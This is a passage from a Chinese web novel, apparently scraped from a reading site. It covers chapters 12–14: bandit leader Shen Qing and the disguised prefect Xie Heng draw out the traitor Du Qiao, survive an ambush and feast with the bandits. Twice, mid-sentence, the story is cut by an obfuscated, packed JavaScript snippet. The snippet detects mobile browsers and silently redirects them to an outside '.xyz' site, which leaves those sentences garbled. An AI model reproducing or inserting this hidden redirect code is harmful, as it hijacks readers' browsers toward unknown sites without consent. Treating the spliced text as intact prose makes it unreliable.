萧瑞如实汇报:“一是因你滥杀官员发了悬赏令,势必要将你绳之以法;另外就是,他来渝州这几个月,虽然一直在肃整均田令,但还留了两分余地,循序渐进着,这几日好像突然下了什么决心,又查了好几个强占百姓田地的官员,不论品阶,一律先就地正法,光是一日之内,就斩杀了五名官吏。” 均田令是大梁建朝时的基本国策,按均田令,根据官身民身来分配田地,普通有户籍的百姓亦能分到田地,每年只需按自己田地产量来向朝廷缴税。此令颁发后,大梁百姓确实安居乐业了很多年。 只是大梁建朝近百年,时过境迁,几代更迭下来,如今百姓手上的田地,渐渐被官员豪绅或强占,或低价逼卖,百姓也上诉无门,均田令早就名存实亡了。 谢珩想要力挽狂澜亡羊补牢,在沈青看来,有些逆势而行,螳臂挡车了。 活该渝州地方官不服气他! 不过他整顿均田令虽然手段强硬,但也不至于发疯,这突然的发疯……为什么?跟刘桧有什么关系? 萧瑞说完见沈青在凝眉沉思着什么,又追问一句:“大哥,有什么问题吗?” “这里面有问题。”沈青笃定道。 谢珩不由得抬眸,等她下文。 “以谢珩那种自傲得不行的性格,他要真想将我绳之以法,早就陈兵山下了,才不会发什么悬赏令呢,岂不是显得他自己很无能?还得花钱靠别人来替他捉人。这绝不是他能做出来的事,我看他应该是另有目的。” 但是这中间,她、刘桧、均田令,到底有什么牵扯,谢珩最后目的是什么,沈青一时还真捋不出来。 谢珩见她看出端倪,顺势问下去:“你倒是很知己知彼,把我族兄性格摸得透彻。” “那是自然,最好的对手,就是最好的知己,我可是他的高山流水遇知音!” “那你觉得我族兄是个什么性子?” “刚愎自用,利欲熏心,眼高于顶。”沈青回答得斩钉截铁。 谢珩只好咬碎了牙往肚里吞:“愿闻其详。” 沈青看着他一副不太服气模样,心道这人身为谢氏子弟,果然对谢珩有着无尽崇拜,于是决定大发慈悲好好帮他揭露一下谢珩的真面目,毕竟当局者迷,旁观者清嘛。 “先说刚愎自用吧,谢珩来渝州,独断专行,自以为铁血手腕整治了渝州风气,但其实搞得自己人缘很不好,你看那些在渝州经营多年的地方官,宁可跑来拉拢我,都要算计他,都是因为他一意孤行,根本不管手下人的死活。” “利欲熏心嘛,哼,本来他见你被掳,急匆匆围了小金顶来救你,我看他还有几分义气,结果最后你一封书信给他分析完利弊后,头也不回就退兵了,这段时间好像也没怎么管过你的死活?你们这些做君子的,不是讲究什么为好友两肋插刀吗?什么端方君子,还不是一切利益为重。” “至于这个眼高于顶,那我可更有话说了。他仗着自己是洛京高门,一意孤行不听取意见,搞得渝州官府上下人心涣散就算了,我堂堂莽山这么大一股势力,他一天到晚就想着要怎么灭掉我,灭掉我显得他自己很强吗?连他那些蠢得不行的手下,都知道要拉拢我而不是消灭我,借势而动,他清高他孤傲,非要跟我站在对立面,那就祝他自求多福吧。” 谢珩淡漠地听着,若非心性坚定之人,倒真能被他这番颠来倒去的话给说得自我怀疑起来。 “渝州的贪官污吏该杀,冤假错案该平,百姓田地该还,匪患该剿,那这样说,你那几个词,我是不是也可以改成刚正不阿,顾全大局,不与奸邪同流合污?” 沈青轻蔑一笑:“他要是真做到了把整个渝州上下风气都整顿清明,渝州匪患都剿灭干净,从此渝州百姓安居乐业,那是可以把话反过来说。问题是,他做到了吗?” 谢珩脸色有些不太好看:“坚守本心,日复一日,总能做到的。” 沈青摇了摇头,决定暂时放弃洗刷他对谢珩的印象,这个谢十三,就是谢珩这个大犟种带出来的小犟种。 “总之,刚则易折。你不信就算了。” 整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872485|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草庐又再度陷入沉默,萧瑞算是发现了,每次这两人只要一谈到谢珩,无论之前多愉快的氛围,最后一定会以争吵或沉默收场。 反正他也插不上嘴,只能尽量降低自己的存在感,埋头认真看手中的功课,以免大哥突然找他发难。 三人各做各事,互不打搅,像赌气一般,草庐的沉默一直持续到下午,沈青忽然再一次收到了谢珩亲笔手书的一封密信。 “咦,真是奇怪了,这谢珩难道是听到我天天怎么骂他了吗?竟然转了性子。”她捏着信件,一边看一边不可置信地嘟囔。 萧瑞也凑过去伸长了脖子看:“怎么了?他跟你说了些什么东西?” “他说刘桧的死另有情况,他知道不是我杀的,悬赏令是他为了掩人耳目引出刺史府的内奸才发的,并不是真的要与我作对。”沈青带着几分犹疑,慢慢翻看信中内容。 这次连萧瑞都诧异了:“这……这是谢珩会说出来的话?” 沈青继续复述信件:“刘桧已死,所有人都以为是被我杀的,也以为刘桧向我吐了不少秘密,为了不让自己暴露,内奸一定会利用这次悬赏令,积极将我除掉。所以谢珩说希望能跟我合作一次,让我带着谢十三下山,将内奸帮他引出来,他要锄奸呢。” 原来是以悬赏令借她来引蛇出洞啊,她就说嘛,这个谢珩,肯定另有目的! “那他合作的条件是什么?” 沈青看到信件最后,忽而笑了,谢珩真是懂她最想要什么,直接了当。 “下山一趟,一百金酬劳。” 于是她心里小算盘开始噼里啪啦:“那我们可以先下山挣了这个一百金,然后趁他还没把悬赏令收回,赶紧把我绑进大牢走一次,再把那个五百金也得拿到手。” 谢珩清清淡淡瞥了她一眼,没有多说什么。 只是萧瑞还颇有些顾虑:“可是我们能信他吗?万一就是个骗局怎么办?” “编个理由骗我下山,然后设下埋伏来捉我,这样拙劣的法子,要用的话,他早就用了。只是……”沈青看向谢珩:“为什么要带上谢十三呢?更加引人注目吗?可能是想顺便看有没有机会把人救走?” “你不用看我,反正世上没人能从你手上抢得到人。”谢珩直接回应她,轻车熟路说出本该是她说的话。。 这让沈青很是欣慰,继续低头琢磨着那封信,跟萧瑞两个脑袋凑在一起,盘算着还有哪里哪里可以多加些酬劳再赚一笔。 至于又跟均田令有什么关系,她这下也七七八八猜到应该就是他们渝州官吏之间的内斗了,就不该她操心的了。 她只负责拿人钱财,替人办事。 谢珩转头看向窗外,苍山白雪,这样的景致已经很多天了。 小金顶山高天寒,等要冰雪完全消融的那一天,应该已经是草长莺飞时候了,他肯定是看不到的了。 沈青还有莽山的情况,这些天他已经摸查清楚了,若能顺利揪出刺史府暗中谋害他的人,这次下山后,他应该就不会再回来了。 沈青……爽朗聒噪的笑声就在耳边不停,谢珩视线落在远处山峦雪峰没有动,等他知道真相,会怎么大发雷霆来骂他呢? 随便吧,反正他也听习惯了。 13. 第 13 章 等到了约定之日,莽山群峰上低低厚厚云层里难得出了一点日影子,映得天地间茫茫雪色新亮。 一大早,沈青就高高兴兴准备出发下山去赚她的一百金。 谢珩比她还要更早一些,临行前甚至还专门喊了萧瑞,好好温习布置了一番功课,才随她一同下山。 沈青还是那一身利落飒然的青衣,将身姿收束得秀挺颀长,走在市井中东看看西瞧瞧,时而嘴甜逗得摆摊的年轻女子红了脸,悄悄向旁人打听,是陌上谁家清俊少年郎? 谢珩这次没有戴锥帽,跟在她身后两步之遥,自然也引得路人纷纷侧目,但终究气度太清冷绝俗,让人只敢远观,无人敢出声多议论一句。 两人一前一后进了清乐酒家。 小二还是那个小二,食单依旧是那份不怎么看得懂的食单,不过没关系,沈青直接闭眼选着价钱最贵的统统都点了一遍,可算是扬眉吐气了一番。 等各式菜肴上齐,满桌子都要摆不下了,沈青敞开肚皮终于吃得大快朵颐。 果然,来这种酒楼,就该别人买单才吃得香! 谢珩侧眼看她实在吃得心无旁骛,终是生出一点叹服:“渝州刺史府里各方势力明争暗斗,现在你被卷进来,倒是一点也不担心有诈。” 沈青嘴上没停,生怕少吃一口都要饿死,勉强含糊回应着:“不管他们怎么你争我斗乱成一锅粥,反正我只管挣钱。我每天要养几千号人马,压力很大的。” “万一……谢珩真是骗你的怎么办?” “说了我这个人,就是走一步看一步,等他真骗了再说,现在最重要的是挣他这笔钱,我不指望谢珩对我能有多坦诚,反正我的底线就是,承诺给我的银子可不能少。” 她又继续埋头吃了老半天,听到谢十三忽然来了句:“放心,我族兄是守信之人。” ……莫名其妙。 谢珩不动声色注视着小二将最后一道菜摆上桌,直到对方离开包间的时候弯腰轻轻把门带上一瞬,两人眼神也交汇一瞬。 “沈青。” 他提了桌上的流光玉壶,缓缓将两人各自面前的酒杯斟满:“这是西域来的紫玉酒,清透平和,应该是你喜欢的味道。” 沈青觑了一眼杯中晶莹剔透真如紫玉一般的琼浆,克制地摇了摇头:“不行,喝酒误事,在外头我得保持理智。” 谢珩笑笑:“放心,这是由西域高原上的紫玉果而酿,温和清淡,绝不会醉人的。” “……好吧。”沈青也不扭捏,但也真的只是仰头用嘴唇轻轻抿了一点酒味儿。 很清甜的果香,等今日完事了,带个十斛八斛回小金顶喝个痛快。 谢珩也举杯,矜雅中流露出几分豪爽,竟将满杯的酒饮了个干净。 他垂眸望向瓷白如玉的杯底只剩点点残红,忽然蓦地生起一丝怅然,这应该是他与沈青最后一次如此平和地坐在同一张桌子前共饮了。 也算是原本隔着楚河汉界的一次意外交集,从此重新分明,回到各自阵营,继续势不两立。 不知哪间包房的客人请了乐女作陪,丝竹声嘈嘈切切婉转传来,乐女唱的是“劝君更尽一杯酒”之类的离别词曲,连沈青这种不通音律之人听得都忍不住啧啧叹气。 “我真是不能理解你们这些富贵人家,都是些什么奇奇怪怪的癖好啊,是嫌这佳肴太过美味了吗?非要听这样伤感的曲子……” 话音未落,她猛然顿住,方才唇畔还带着的几分笑意顿时凝成寒霜,整个人瞬间变得像一只蓄势待发的小兽。 “悍匪沈青,你已经被官府包围了!赶紧束手就擒吧!” 窸窣的脚步随着四周墙角各自散开,一道洪亮的声音从窗外透进来。 守株待兔的兔子来了! “你在这等我。”沈青只撂下一句话,最后一个字的尾音落入谢珩耳中时,青影俶尔翻窗而出。 很快,外面响起一片兵戈相交的声音。 谢珩不动如山坐在原处,抬手提了酒壶,闲雅从容自斟自饮起来,直到窗外的打斗渐行渐远,包间大门轰然一下被推开。 来人跨步进来,绛红官服,头顶乌纱,腰上别了一把短刀,约莫四十左右的年纪正有一脸不可冒犯的威严。 谢珩侧耳听见外面兵卒将小小包间围住,他朝来人清淡一笑:“原来是杜别驾啊,来得及时,这次正好能将沈青捉拿归案了。” 杜峤看了一眼沈青飞身出去后半开的窗户:“我与沈青打过数次交道,仅凭外面这些人马要将他捉拿,只怕是要不自量力了。” 谢珩闻言,并没有什么意外:“看来别驾不是来救我于水火的,而是在调虎离山啊。” 杜峤拉开座椅,在他对面坐下:“刺史大人,别来无恙。” 谢珩也提起酒壶斟了杯酒亲自推到他面前:“所以刘桧是你的人,他的所作所为都是你指使的?” 他这么开门见山,杜峤也不弯弯绕绕:“看来刺史大人从刘桧口中知道了不少事情。” 谢珩慢悠悠饮了一口酒:“倒也没有从他口中知道什么,只是悬赏令一出,你又这么积极地出现在这里剿匪,我也是现在才知道你是他背后的人。” 说着他语气多了分讥屑:“我要是你,就绝不这么着急亲自冒头出来捉拿沈青,这样好歹还能让我多猜几步。才第一步就让人知道谜底了,没意思。” “你……”杜峤脸上闪过一丝错愕,懊恼自己被他引得直接亮了底牌,不过无论如何,今日注定是要撕破脸的,暂时棋差一着并不重要,他重新让自己镇定下来:“我是行伍之人,自然比不得你诡计多端。既然你都已经知道了,那今日我便跟刺史大人好好谈一谈。” “谈?”谢珩意外:“我以为你把沈青引开,是为了直接杀我,毕竟上次遭你们毒手时我侥幸活了下来。眼下大好时机,你杀了我,不是正好还可以对外将我的死推给沈青吗?” 杜峤冷笑一声,端起酒杯一饮而尽:“因为我发现杀了你没用。你人虽然在小金顶,依然可以操控刺史府上一日之内诛杀五名官吏,以后即便你死了,你身边的谢氏子弟也依然会继续查办违背均田令的官员,继续将我们逼得走投无路。” 谢珩满意一笑:“早知道我多杀几个人就能把你吓得这么急不可耐,之前早该如此了。不错,无论我是死是活,你们都跑不掉。” 他顿了一下,凉声问:“我只是奇怪,你觉得你有什么资本跟我谈?” 杜峤又多望了一眼半敞的窗户:“沈青应该过不了多久就会回来了,刺史大人奉旨剿匪,在渝州苦心经营几个月,又忍辱负重潜伏到了沈青身边,应该不希望被他识破最后功亏一篑吧。只要你松口,以后在渝州均田令的事情上睁一只眼闭一只眼,我会在剿匪一事上全力配合你,沈青也不会知道你的身份,直到我们最后联手剿灭他。从此你回洛京封侯拜相,我继续在渝州过我该过的日子,怎么样?” “我想对于刺史大人来说,渝州此行,重在剿匪,您又何必舍本逐末呢?” 若想要真正剿平渝州匪患,谢珩必须要有地方官员的配合,否则也是孤掌难鸣,这也是杜峤的底气。如果谢珩非要逼迫到底,他现在就可以去沈青那里捅破一切,让他前功尽弃。 “你前面说得不错,”谢珩叹惋:“可惜后面全错了。” 杜峤神色一凛:“你什么意思?” “那就让你死个明白吧,”谢珩的语气温厚而极富有耐心:“你借着捉拿沈青的名义,却将人调虎离山,醉翁之意不在酒,直奔我而来,我又为何不可项庄舞剑,意在沛公呢?” “你是不是忘了我方才说的,在你进门的那一刻,我才知道刘桧背后的人原来是你。一开始发布捉拿沈青的那张悬赏令,我也只是为了引出你。” “沈青是我花了一百金,请他下山的。” 杜峤瞪大了眼,脑中一片纷乱:“可是……等沈青回来,他知道你就是谢珩,你就无法再潜伏小金顶了!” 谢珩风轻云淡的眸子里难得地闪过一丝戾气:“没关系,我没打算再回小金顶。” 话音刚落,门外的打斗声铮然响起。 杜峤惊诧起身,一把掀翻了两人之间的桌面。 “外面是你的人?原来你早就安排了人手埋伏在这里?” 谢珩目光看向散落一地的狼藉,脑海中竟然想,这要是被沈青看见,大概会气得捶胸顿足,他唇畔勾起一丝若有若无的笑意:“我今日就是为了引蛇出洞,难道还单刀赴会不成?” 螳螂捕蝉,黄雀在后。 何况那只螳螂本就是他放出来的。 “好!那就别怪我鱼死网破!” 既然已经图穷匕见,杜桥抽出腰间佩刀,白光一闪间,直朝谢珩门面砍去。 谢珩连眼皮都没有动一下,袖中银丝飞出,灵巧缠上对方手腕,在运力要废掉这只手臂时,忽然眸光一缩,一道青影映入眸中,由远而近,渐渐占据了所有视线。 他心中一凛,来不及多想,指尖银丝灵活运转,原本是要将杜峤手臂卸下的力量,猛然一转,直接拖着对方佩刀,直挺挺插进自己肩头,刀尖入肉瞬间,那条细如发丝的银线重新收入袖中。 有殷红的血溅落在锃亮刀面上。 杜峤的一张脸近在咫尺,满脸惊骇,一双眼珠子几乎要瞪出来,他没有动作,喉头已经被一只筷子穿喉而过。 高大僵直的身躯重重倒向一边,同时谢珩也被拦腰抱起,起落间他连一个眼神都来不及向守在此间的暗卫示意,人早就出了清乐酒家及官兵掌控范围之外。 兔起鹘落,如置云端。 冷风里夹杂的是独属于小金顶上的皂荚香。 这是他第一次,见到沈青出手。 一支竹筷,见血封喉。 被杀之人,魂还在阳间,命已到黄泉。 一只青燕掠过屋檐瓦片间,大半个清乐城被抛在身后。 “还好我回来得及时,要是再晚一步,你就被人宰了!”沈青的声音愤愤在耳边响起。 谢珩在心中无声轻叹,要是再晚一步,他现在应该已经回刺史府,在地牢里审问杜峤了。 看来沈青并没有意识到杜峤其实是在调虎离山,她只是单纯地杀得快,然后回来得快罢了。 既已如此,该圆的话还是得圆下去:“我族兄事先就在酒楼周围设了埋伏,杜峤见自己已经暴露,也只好鱼死网破,拉我一个也算垫背。” 沈青回想起方才看到酒楼中两拨人打斗的场景,忽然意识到:“感觉谢珩也没有很在意你的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876624|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危啊,既然要捉拿内奸,但也没保护好你啊。” 她秉承着做戏做全的原则,还专门贴心地替谢珩引开这么多人,好让他捉拿内奸时轻松些,结果连谢十三都不给她护周全了。 这人真是不靠谱! 谢珩只好说:“他自然要以大局为重。” “哼,他在信里非让我带你一起下山,我本来还想着看他有什么本事从我手里抢人呢,诶,早知道就不带你了,差点让你香消玉殒,我们就天人永隔了。” 谢珩无语,难怪这么痛快带他下山,原来是这个原因? 他解释道:“让你带我下山,不完全是为了救我。既然是剿匪,总得让杜峤找得到你,他不认得你模样,所以只有看到我,才知道我身边的人是沈青。” 沈青简直惊掉下巴:“你说什么?官府的人不知道我长什么样?” 怪不得她隔三岔五出门闲逛,满大街的通缉令,愣是没一个人来抓她!本来还以为是自己太厉害了别人不敢上前挑衅,原来是根本就不知道她就是通缉令上的人啊! 不过说来好像也是,通缉令上从来只有她的名字,还真没有她本人画像来着。 “诶!”她又重重叹了口气:“我一直知道渝州官府是很废物的,但我没想到竟然废物到这个程度了!好歹我在渝州当土匪也当十几年了啊!” 谢珩听着,是在骂他,又不完全是在骂他,难道不是因为跟“悍匪沈青”打过照面的人没有被留过活口吗? 比如刚才的杜峤…… 不知不觉间,终于回到莽山地界,往小金顶上行了一程,沈青一口气提得太久,脚底趔趄一下,两人齐齐扑进厚厚深雪中。 她在雪堆里滚了一圈,舒舒服服把自己摆成个“大”字躺下来望着天空,疏落竹枝间,天色已经黑了下来,无月也无星。 “可算是回来了,赚了一百金。” 这个钱……还不算太难赚,没有听到身边的人回应,她突然“哎呀”一声,又一骨碌爬了起来:“你刚刚受伤了,我看看严不严重。” 她挪到谢珩身边蹲下,果然见他左肩上的口子不浅,鲜红的血渗透了雪白锦衣。 “疼吗?” “有一点。” “撕拉”一声,他肩头一片衣裳被撕开。 “你做什么!?” 谢珩惊坐起来,被沈青一把按了回去:“我不撕开你的衣裳,怎么看你的伤口?等会你流的血跟这衣裳黏在一起,再去处理,疼死你!” 他不再说话,但也不适应就这样在沈青面前袒露着半边肩头,只好默默将脸撇到另一边。 本来还没注意到自己伤口如何,这会儿是真有些疼了。 “嘶——” 一道刺骨的冰寒贴上伤口,那种又冰又痛的触感让他不耐:“你又是做什么?” “诶呀,你这人真的很娇气!”沈青正随手在地上抓了一把雪给他清洗伤口,被他的语气惹得也很不耐烦:“我要先洗干净你这伤口上的血才能看清你到底伤成什么样了啊,这冰冰凉凉的雪还能给你伤口消肿呢。” 可是谢十三肩上肤白尤胜白雪几分,眼看着手中白雪在他肌肤上一点点消融成水,浸染了伤口上的殷红,蜿蜒而下,她一双眸子忽闪了几下,娇气就娇气吧! “你这伤口虽然也有小半寸深,但伤你的人功夫也真是太差劲了,完全避开了你的筋骨,没什么大事,我先给你止了血,回去再拿针给你缝几针,愈合就好了。”沈青不自觉又将语气软了下来,怎么看都有点心疼,干脆凑上去呼呼给他伤口吹了两口气。 谢珩心脏骤然一缩,干脆闭上了眼。 方才沈青凑过来那一下,离他很近,很近。 冰天雪地冷寂的黑夜,近在咫尺的那副眉眼五官,清绝逼人。 他幡然醒悟过来,自己究竟在做什么? 原本今日,沈青就该知道,他就是谢珩。 在他的预想中,等沈青跟杜峤的人打斗完回来,清乐酒楼已经人去楼空,紧接着,他就会知道一切。 这些天相识一场,这层谎言不用当面被揭露,两人再次回到原来的对立面。 可是在看到他回来的瞬间,他根本来不及多想,等反应过来的时候,已经出手自伤。 看到他流血,便能极大程度减轻沈青往他身上多想。 为什么?宁可使一出苦肉计也不想当面暴露吗? 要是被当面撞破身份,不正好顺势直接就将这匪头也拿下吗? 尽管闭着双目,可是这次让他有些失去掌控的举动,总让他一双眉头紧锁不展。 “疼吗?那你忍着,给你扎紧一些,等会蹦蹦跳跳也不会再流血了。” 听到这一道清凌凌的声音,他顿时豁然开朗,这次下山是请沈青帮忙配合引出内奸的君子之约,不愿当面暴露,更没有趁机捉拿,是在遵循君子信义。 这一关窍想明白了,他重新睁开双眼,眸中一片清明。 沈青正好给他伤口包扎紧实了,很是恋恋不舍重新替他将衣裳拢上。 “好像有人来了诶。”她不紧不慢道。 谢珩心中一惊,难道是鸣山他们见他又被带走,追了上来? 好一会儿,果然望见山谷那边,火光与杀声一片。 14. 第 14 章 “快趴下!” 沈青一把将谢珩按进雪堆里,自己也直直趴下,两人身子都算清瘦,厚厚雪堆完全可以掩盖住他们。 谢珩被她压制得很不舒服:“你不是很能打吗?” 沈青抓了一把雪,捏出两个小雪球,嘴上不忘应他:“我又不是莽夫,有时候还是要保存实力的。” 说完,她将身子压得更低,唯露出一双眼睛,炯炯盯着前方,真像是冬日里潜伏在暗处等待猎物到来的危险小兽。 火光与人声越来越接近,甚至都能感受到凌乱有力的脚步踩过厚厚积雪,地面在微微颤动。 “简直是太可恶了!”她突然咬牙恨恨骂了一声,掌中两颗小雪球瞬间脱手,紧接着是不远处两声吃痛的惊呼声。 “什么人?不要命了?” “哪个龟孙子!给老子出来!” “我是你爷爷!”沈青手上不知何时又多了几颗小雪球,直直飞了出去,只听见那边又嗷嗷几声叫。 “诶哟,大哥啊,是大哥回来了!”萧瑞的声音在夜色里朗朗传来,其他兄弟们反应过来,纷纷跑上来一阵此起彼伏:“老大回来了!” 沈青这才从雪堆里站起来,簌簌拍下身上积雪,又抬手将谢珩扶了起来。 本来没觉得什么的,但是看到众位兄弟们个个长弓短箭,在火光照耀下简直神采奕奕的样子,突然显得自己竟有些狼狈。 她冷眼看向萧瑞:“我就问问,你们觉得良心过得去吗?我为了养活咱们这上上下下几千号兄弟,赚那一百金,简直呕心沥血跟谢珩在与虎谋皮,你们居然趁我单刀赴会九死一生的时候,在这里打猎快活?” 赖三嘴快:“老大,你要万一被抓了,我们到时候去把你救出来就行了。” 沈青翻了个白眼:“那我要是被杀了呢?你还能把我救活?” 赖三想了想:“谢珩应该没有这么笨吧,你这么个大人物,他还能直接杀了你?不再利用利用了?” 沈青一张清隽的脸越发阴沉,她旁边的谢十三……看起来脸色也没好到哪里去。 还是萧瑞更会说话:“大哥,兄弟们都是心疼你辛苦,专门给你猎了一只野鹿犒劳你的!你现在又有嫂子,还有公子,得喝点鹿血酒,大补!” 野鹿?那不错! 沈青眼睛一亮,忽而又暗了下去,看向谢珩:“但是谢十三受伤了,我们还是先回小金顶吧。” “不急这一时,反正伤口刚才已经扎紧了,”这次谢珩难得地没有扫兴:“我上次听你说,雪夜里打了猎物,就地烧一团篝火烤了猎物来食用很有意趣,我也想试试。” 沈青愣了愣,如果她没有看错的话,刚刚这人似乎冲着她温温和和笑了一下。 他清雅一笑的样子,甚美。 难怪有人为博美人一笑,不惜烽火戏诸侯,万里江山拱手他人。 对比起来,她的谢十三只是想看个篝火而已!有什么不能满足的! “还杵在那不动干嘛?赶紧生火烤肉啊!” 沈青招呼兄弟们赶紧动手,雪地里很快就烧起一团烈烈篝火,新猎的一整只野鹿被架上火堆,烧得焦黄流油,香味四溢。 除了那只野鹿,还有一些雉鸡野兔之类的,也一并拔了毛放了血架在火堆里烤。 兄弟们纷纷席地而坐,大口撕咬着热乎乎的猎物,再就着热烫烫的烈酒,在这冰天雪地里,别提多畅快了。 满耳的聒噪里少不了各种污言秽语,谢珩原先只觉得污耳,现在已经听习惯了,只面不改色静静都听着。 还有中间零星混了几个女匪,全无女子行仪规范,身上同样别了短刀弓箭,毫无芥蒂坐在男人堆里,亦同样喝酒吃肉,忽然觉得她们竟也自在。 以及沈青,虽然是这里的老大,但是好像在这里并没有什么高低贵贱之分,所有人都歪七倒八乱坐一气,你从我壶里喝一口酒,我在你手上咬一块肉。 大概是原本今天他不会再回来的,可现在竟然还跟他们坐在一起,看着他们这样喝酒吃肉,这种境遇有些奇妙。 如果他们不是作恶多端的山匪,只是劳作一天后席地而坐的普通百姓该多好。 沈青在一顿大快朵颐后,突然注意到身边还坐了个不动如山的人,于是挑了一块香嫩的鹿肉给他递过去:“你也尝一尝啊。” 谢珩盯着她手上那块肉,并没有伸手去接,原因无它,主要是他刚才眼睁睁看着这块鹿肉是沈青从另一个兄弟黑黢黢油腻腻的手中拿过来的。 沈青已经开始晓之以理动之以情:“我知道你们这种世家公子吃东西,讲究食不厌精脍不厌细嘛,以至于你们从小到大都没尝到过食物最原始的本味,可真是对不起这些食物生长成这样的味道,非要被你们加些盐油酱醋强行改造,多可怜。” 谢珩终究还是伸手接过,他真是不想听她各种理直气壮的歪道理。 沈青不依不饶,偏头看着他:“吃一下,看好不好吃嘛。” 他无奈,只好撕下表面看上去烤得焦黄的那一层肉,一点点放入嘴中咀嚼,有一点肉质的香味,还有柴火烟熏味,以及粗糙的土腥味…… 看他吃得如此谨慎模样,沈青也不再勉强,只是觉得颇为遗憾:“这样好吃的东西你不会享受,真是太没口福了!” “老大,新鲜的鹿血酒出来了,你赶紧先来尝第一口!”赖三手上拿了只羊皮酒囊,献宝一样递到沈青手中。 一股浓浓的腥烈味扑鼻而来,连沈青闻了都忍不住皱了一下眉头。 见她迟疑,赖三又特地强调:“这只是闻着腥味儿大,但里面咱掺的都是最烈的高粱酒,喝到嘴里就没有腥味了。” 然后还非常体贴压低了声音:“老大,这可是让男人雄风大振的好东西,让你更加威猛。” 沈青抿着唇沉默了一瞬,那这酒……该给谢十三补补? 这么想着,她拿羊皮酒囊往谢十三面前一递:“要不你来喝?” 谢珩撑着身子往后挪了挪,掷地有声:“不必。” “好吧,那还是我来尝尝。” 为了不显自己扭捏,沈青痛痛快快仰头喝了一大口,除了腥味难闻,入口以后确实就只有烈烈酒味了,也还是能接受的。 只是不知道这酒……女人喝了应该不会有什么反应吧? 赖三带着一脸意味深长的笑容离开,沈青就着烤得喷香的鹿肉,又喝了两口鹿血酒,说来这还是她长这么大第一次喝传说中的鹿血酒,越喝越习惯,就着鲜烤的鹿肉,这样的吃法真是绝配。 “你少喝点吧。”谢珩的声音在耳边略显生硬传来,她瞥过去,他正冷眼中带着几分警惕也看着她。 “行,那不喝了。”沈青配合地收了酒囊,确实已经喝了好几口,她也不是每次都想喝醉。 这一动作在兄弟们看来,他们老大对谢十三可真是宠溺啊! “咱们老大可真是个怕老婆的!” “是啊,咱们老大可听夫人话了!现在又听谢十三的话!一碗水端得真平!” “怪不得老大最招人喜欢,男人女人都喜欢!” 沈青听得飘飘然,也很大方向兄弟们传授经验:“男人嘛,在外头当然要顶天立地,回家了,对老婆那肯定要伏低做小言听计从。” 说着不自觉又打开酒囊,刚想再来一口,一下就对上谢珩凌利眼神,她又默默将酒囊盖上,轻咳两声:“都记住了啊,以后你们要是成家了,听夫人的话才会发财!” “好!记住了!” 又是一阵哄然大笑,有人趁兴将酒泼进篝火中,火光腾然往空中直窜。 哄闹过后,萧瑞不知从哪里摸出一把小小口琴,横在唇边,就着柴火的噼啪声,竟吹出了雪夜里很应景的慷慨悲凉,婉转悠长。 就着琴声,兄弟们有的继续畅饮,有的凝神细听,还有的已经躺在地上打起了鼾声。 沈青也抱膝坐着,闪烁火光下,她眉眼清亮地望着火堆边吹琴的倜傥少年。 若是以前,谢珩只会觉得眼前一切粗俗不堪,简直不可登大雅之堂,现在却蓦然生出几分不知今夕何夕的虚妄感。 实在难以想象,原来一个悍匪头子,跟自己手下竟然是这样的相处方式? 自与沈青相识,他总觉得这人轻佻随意,莽山上下毫无纪律可言,一直不明白这该如何服众。 今夜他好像找到了一点方向。 不过话又说回来,以沈青这般身手,无论他每天怎么吊儿郎当,也很难不让人服气吧。 沈青小半张脸突然凑过来打断他的思绪:“听岳瑛说,谢珩的琴声天下绝妙,那你应该也会弹一点儿吧?” 他也没否认:“会一点。” 沈青又开始兴致勃勃地憧憬:“听说琴技高超的人,对琴的要求也特别高,谢珩那种追求花里胡哨的人,他的琴肯定是上等佳品,改天得去把它抢过来给你弹。” “真是多谢你。” 谢珩别过头静静注视着不远处的篝火,簇簇火光在眸中跳跃,按理来说,原本此时,他应该审完杜峤,正坐在院中品茗抚琴了。 不知不觉,夜过半宿,篝火渐渐燃尽没人再添柴草进去,最后只剩一点稀稀落落的小火苗。 酒酣肉饱,兴尽而归。 沈青一手拽着谢珩的衣袖,脚下踩着积雪带上几分醉意蹒跚,但她心里有些庆幸,一般还能清醒地感受到有酒劲上头,那说明还没有醉,不错,有进步了。 “诶哟——” 刚在心里夸完自己,她一个眼花,半只脚踩进雪窟窿里,身子一歪就扑倒下去,连带着谢珩也被她拽了一个趔趄。 这次倒没听见她骂骂咧咧,只是听见她很新奇又嫌弃问了句:“这是什么丑东西啊?” 谢珩顺着她的目光看去,不远处被积雪掩盖大半的草堆里,真的有几个小东西在蠕动。 “应该是大风把树上的鸟巢刮散了,里面雏鸟掉下来了。” 沈青趴在雪堆里,三五下将散落在地的几只雏鸟捉过来,拢在谢珩的衣袖中,雏鸟儿感受到温暖,缩在一团发出极微弱的叫声。 她歪头打量着,许久,终于从嘴中无比嫌弃地挤出两个字:“真丑!” 谢珩低头看自己袖中,三只小雏鸟挤成一团,都是还没有开始长羽毛的小肉团,嗷嗷张着尖尖大嘴……确实不好看。 不料沈青嫌弃完,又凑起一张脸过来,冲着小雏鸟喊话:“你们是不是回不了家了?没关系,跟着我,我来做你们阿娘吧。” 这一声轻柔的呢喃,震得谢珩霍然抬眸。 借着身后火把的光,可以清楚地看到眼前人双颊上已经染上一层酡红,醉意迷离的眸子里流淌着温柔,近在咫尺,连呼吸都是轻轻软软的。 他怎么会是悍匪沈青呢? 